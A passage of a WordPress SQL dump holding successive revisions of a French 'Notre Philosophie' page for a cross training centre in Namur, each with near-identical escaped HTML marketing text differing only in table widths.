(304, 1, '2013-07-04 19:15:48', '2013-07-04 19:15:48', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 20px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:15:48', '2013-07-04 19:15:48', '', 5, 'http://www.crosstrainingcenter.be/5-revision-50/', 0, 'revision', '', 0),
(305, 1, '2013-07-04 19:16:05', '2013-07-04 19:16:05', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 900px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:16:05', '2013-07-04 19:16:05', '', 5, 'http://www.crosstrainingcenter.be/5-revision-51/', 0, 'revision', '', 0),
(306, 1, '2013-07-04 19:16:23', '2013-07-04 19:16:23', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:16:23', '2013-07-04 19:16:23', '', 5, 'http://www.crosstrainingcenter.be/5-revision-52/', 0, 'revision', '', 0);
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(307, 1, '2013-07-04 19:16:45', '2013-07-04 19:16:45', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:16:45', '2013-07-04 19:16:45', '', 5, 'http://www.crosstrainingcenter.be/5-revision-53/', 0, 'revision', '', 0),
(308, 1, '2013-07-04 19:17:07', '2013-07-04 19:17:07', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 350px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:17:07', '2013-07-04 19:17:07', '', 5, 'http://www.crosstrainingcenter.be/5-revision-54/', 0, 'revision', '', 0),
(309, 1, '2013-07-04 19:17:25', '2013-07-04 19:17:25', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 310px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:17:25', '2013-07-04 19:17:25', '', 5, 'http://www.crosstrainingcenter.be/5-revision-55/', 0, 'revision', '', 0),
(310, 1, '2013-07-04 19:17:38', '2013-07-04 19:17:38', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:17:38', '2013-07-04 19:17:38', '', 5, 'http://www.crosstrainingcenter.be/5-revision-56/', 0, 'revision', '', 0),
(311, 1, '2013-07-04 19:17:51', '2013-07-04 19:17:51', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera 